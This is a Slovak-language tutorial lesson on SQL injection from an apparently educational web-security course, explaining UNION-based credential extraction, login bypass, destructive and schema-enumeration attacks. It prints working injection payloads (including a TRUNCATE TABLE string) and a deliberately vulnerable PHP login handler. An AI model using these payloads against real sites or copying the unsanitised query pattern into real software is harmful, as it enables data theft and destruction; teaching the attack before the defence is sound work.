Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

2. diel - Technika útoku SQL injection

V predchádzajúcej lekcii, Úvod do bezpečnosti webových aplikácií , sme sa dozvedeli, čo si pod pojmom webová aplikácia predstaviť, tiež sme si predstavili princíp fungovania trojvrstvovej architektúry a tiež aplikačnú vrstvu. Poznáme tiež Web application firewall, nástroj ktorý chráni aplikačnú vrstvu aplikácie.

V ďalšej lekcii kurze bezpečnosť webových aplikácií sa zoznámime s útokom SQL injection, čo je útok, pri ktorom útočník upraví SQL dotaz vo svoj prospech. Najčastejšie sa používa u otázok typu SELECT, UPDATE, INSERT či DELETE a podmienky WHERE. V príkladoch využijeme databáze MySQL.

SQL injection

SQL injection je typ útoku, ktorý napáda databázovú vrstvu vsunutím (odtiaľ slovo injection) kódu cez neošetrený vstup. S pomocou takto vsunutého kódu môže útočník získať citlivé osobné informácie, ako napríklad číslo kreditnej karty alebo prihlasovacie údaje. Tiež môže databázu poškodiť zmazaním dát, dokonca môže databázu upraviť vo svoj prospech. Ako sa v dnešnej lekcii dozvieme, toto nezamýšľané správanie vzniká pri prepojení prezentačnej a dátovej vrstvy aplikácie.

Útok SQL injection si môžeme rozdeliť do niekoľkých kategórií:

  • Útok využívajúca spojenie viacerých tabuliek
  • Útok obchádzajúce aplikačnú logiku
  • Útok pozmeňujúci databázu
  • Útok, pri ktorom útočník získa všeobecné informácie o štruktúre databázy

Všeobecne sa pri SQL injection útokoch využívajú špeciálne znaky. Pre SQL databázy sú to napríklad znaky:

  • apostrof / úvodzovky - ohraničenie reťazca
  • pomlčka - dve pomlčky znamenajú komentár (ako napr. v PHP dve lomítka)
  • bodkočiarka - bodkočiarka znamená koniec príkazu

Útok využívajúca spojenie viacerých tabuliek

Útok využíva spojenie viacerých tabuliek v prípade, že je výsledok databázového dopytu vracané priamo do prezentačnej vrstvy. Ako príklad si môžeme uviesť e-shop. Je pravdepodobné, že bude aplikácia náchylná voči tomuto typu útoku. Útočník využíva operátor UNION, ktorý mu umožní skombinovať viac príkazov typu SELECT do jediného výsledku. Majme teda e-shop s kategóriou zľavy majúci nasledujúce URL:

https://e-shop.cz/products?category=Slevy

Pri navštívení tejto URL odošle aplikácie dopyt do databázy v tomto tvare:

SELECT *
FROM products
WHERE category = 'Slevy'

Za použitia príkazu UNION by mohol útočník upraviť URL napríklad takto:

https://e-shop.cz/products?category=Slevy' UNION SELECT username, password FROM users--

Táto upravená URL potom spustí dotaz:

SELECT *
FROM products
WHERE category = 'Slevy'
UNION SELECT username, password
FROM users --

Výsledok tohto dotazu potom zobrazia nielen všetky zľavnené produkty ale aj všetky prihlasovacie mená a heslá zákazníkov. Pritom, keby sa za komentárom -- nachádzala nejaká ďalšia časť dopytu, bola by vynechaná.

Útok obchádzajúce aplikačnú logiku

Medzi útoky obchádzajúce aplikačnú logiku môžeme zaradiť napríklad taký útok, ktorý obíde prihlasovací formulár. Uveďme si preto konkrétny príklad za použitia databázy MySQL a jazyka PHP. Tento príklad použijeme aj v ďalších príkladoch.

Majme primitívne tabuľku s používateľmi:

Tabuľka s užívateľmi - Bezpečnosť webových aplikácií v PHP

Vytvoríme si formulár, do ktorého používateľ zadá svoje prihlasovacie meno a heslo:

<form method="post">
    <table>
        <tr><th><label for="name">Jméno</th></tr>
        <tr><td><input type="text" name="name" id="name" /></td></tr>

        <tr><th><label for="password">Heslo</th></tr>
        <tr><td><input type="password" name="password" id="password" /></td></tr>

        <tr><td><input type="submit" value="Přihlásit se" /></td></tr>
    </table>
</form>

Pre predstavu môže formulár vyzerať napríklad takto:

prihlasovací formulár - Bezpečnosť webových aplikácií v PHP

Spracovanie formuláre v PHP môže vyzerať nasledovne:

session_start();
$pdo = new PDO("přihlašovací údaje");

$errors = array();
if ($_POST) {
   if (empty($_POST["name"])) {
    $errors[] = "Nebylo vyplněno jméno.";
   }
   if (empty($_POST["password"])) {
    $errors[] = "Nebylo vyplněno heslo.";
   }

   if (empty($errors)) {
    $name = $_POST["name"];
    $password = hash("SHA512", $_POST["password"] . 'sůůůl');
    // Dotaz níže obsahuje nebezpečnou SQL injekci
    $idQuery = $pdo->query("
        SELECT `id`
        FROM `user`
        WHERE `name` = '{$name}' AND `password` = '{$password}'
        LIMIT 1
    ");
    $id = $idQuery->fetchColumn();

    if ($id !== FALSE) {
        $_SESSION["userId"] = $id;
        header("location:account.php");
        exit;
    } else {
        $errors[] = "Bylo zadáno špatné jméno nebo heslo.";
    }
   }
}

Po kliknutí na tlačidlo Prihlásiť sa sa odošle do databázy nasledujúce dotaz, náchylný k SQL injection útoku:

SELECT `id`
FROM `user`
WHERE `name` = 'zadaneJmeno' AND `password` = 'hashovaneHeslo'
LIMIT 1

Tento dotaz možno jednoducho upraviť v útočníkov prospech. Pridáme už známe znaky ' a -- do poľa pre meno nasledovne:

' OR admin = 1--

Do databázy sa odošle tento upravený otázka:

SELECT `id`
FROM `user`
WHERE `name` = '' OR admin = 1-- AND `password` = '19c44a96a09dc0088f88d...'
LIMIT 1

Vďaka zadanému apostrofu sa ukončí reťazec u stĺpce name a za ním sa vloží podmienka OR admin = 1. Vďaka dvom pomlčkám sa zvyšok dopytu považuje za komentár. Upravený dotaz vykoná nasledujúce, vyber ID z tabuľky user, kde sa meno rovná prázdnemu reťazci alebo admin sa rovná jednej. Zvyšok dotazu ignoruj. Otázka samozrejme vyberie administrátora, za ktorého aplikácia útočníka následne prihlási.

Útok pozmeňujúci databázu

Otázky typu SELECT nie sú jediným typom otázok, pomocou ktorých možno na zraniteľnú databázu zaútočiť. Ďalšími častými otázky sú otázky typov UPDATE, INSERT či DELETE. Vychádzajme opäť z príkladu s prihlasovacím formulárom. Pridaním reťazca:

'; TRUNCATE TABLE user;--

by útočník mohol tabuľku users zmazať. Naopak reťazcom:

' INSERT INTO user (id, name, password, admin)
VALUES ('Jan', 'Novák', '123', '1'); --

by útočník mohol do tabuľky pridať záznam. S využitím príkazu UPDATE by mohol tiež útočník dáta pozmeniť napríklad pomocou nasledujúceho reťazca:

'; UPDATE user SET password='noveHeslo' WHERE password='stareHeslo'; --

by útočník mohol zmeniť heslá používateľom.

Útok, pri ktorom útočník získa všeobecné informácie o štruktúre databázy

V predošlých príkladoch sme si s istotou uvádzali mená stĺpcov, prípadne tabuliek, ktoré chce útočník získať. Niekto by preto mohol argumentovať, že predsa návštevník nepozná názov našej databázy, tabuľky, stĺpcov atď. Lenže 90% webov má tabuľku s používateľmi pomenovanú buď users, uzivatele alebo maximálne user a uzivatel. Útočník má veľmi vysokú šancu, že sa trafí. Navyše môže útočník využiť tohto typu útoku, ktorý je využívaný pre získanie všeobecných informácií o štruktúre databázy aplikácie. Tento typ útoku sa líši podľa typu databázy. Každý typ databázy má spravidla tiež iný syntaktický zápis. Pre vyššie zmienené MySQL existuje príkaz:

SELECT @@version

ktorého výsledkom sú dodatočné informácie o verzii databázy. Výstup tohto príkazu môže vyzerať napríklad takto:

+-------------------------+
| @@version               |
+-------------------------+
| 5.7.16-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

Tento príkaz možno opäť veľmi ľahko použiť v aplikácii, ktorá nie je proti SQL injection útoku chránená, napríklad nám už známym spôsobom:

' UNION SELECT @@version--

Výsledný dotaz potom bude vyzerať nasledovne:

SELECT `id`
FROM `user`
WHERE `name` = '' UNION SELECT @@version-- AND `password` = '19c44a96a09dc0088f88d...'
LIMIT 1

Keď útočník vie, aká verzia databázy beží na dátovom serveri. Potom je veľmi jednoduché dohľadať príkazy, ktoré informujú o jednotlivých tabuľkách. Pre MySQL je to napríklad príkaz SELECT * FROM INFORMATION_SCHEMA.TABLES, ktorý vracia zoznam tabuliek v databáze. Ktorého výstup môže vyzerať nasledovne:

|------------------------------------------------------------------------
|   TABLE_CATALOG   |   TABLE_SCHEMA   |   TABLE_NAME   |   TABLE_TYPE  |
|------------------------------------------------------------------------
|   MyDatabase      |      dbo         |      user      |   BASE TABLE  |

Z výsledku ide jasne vyčítať, že v databáze je tabuľka user. S touto informácií môže útočník ďalej pracovať a použiť napríklad príkaz SELECT * FROM information_schema.columns WHERE table_name = 'user', ktorý vypíše informácie o konkrétnej tabuľke:

|------------------------------------------------------------------------------------------
|   TABLE_CATALOG   |   TABLE_SCHEMA   |   TABLE_NAME   |   COLUMN_NAME   |   DATA_TYPE   |
|------------------------------------------------------------------------------------------
|   MyDatabase      |      dbo         |      user      |   id            |   int         |
|   MyDatabase      |      dbo         |      user      |   name          |   varchar     |
|   MyDatabase      |      dbo         |      user      |   Password      |   char        |

Z výsledku môžeme vidieť, ktoré stĺpce akých dátových typov tabuľka obsahuje. To by pre dnešné lekciu bolo všetko:)

V ďalšej lekcii, Ako sa brániť proti SQL injection , si uvedieme spôsoby, ako pred útokom SQL injection svoju aplikáciu chrániť.


 

Predchádzajúci článok
Úvod do bezpečnosti webových aplikácií
Všetky články v sekcii
Bezpečnosť webových aplikácií v PHP
Preskočiť článok
(neodporúčame)
Ako sa brániť proti SQL injection
Článok pre vás napísal Jan Hranický
Avatar
Užívateľské hodnotenie:
Ešte nikto nehodnotil, buď prvý!
Aktivity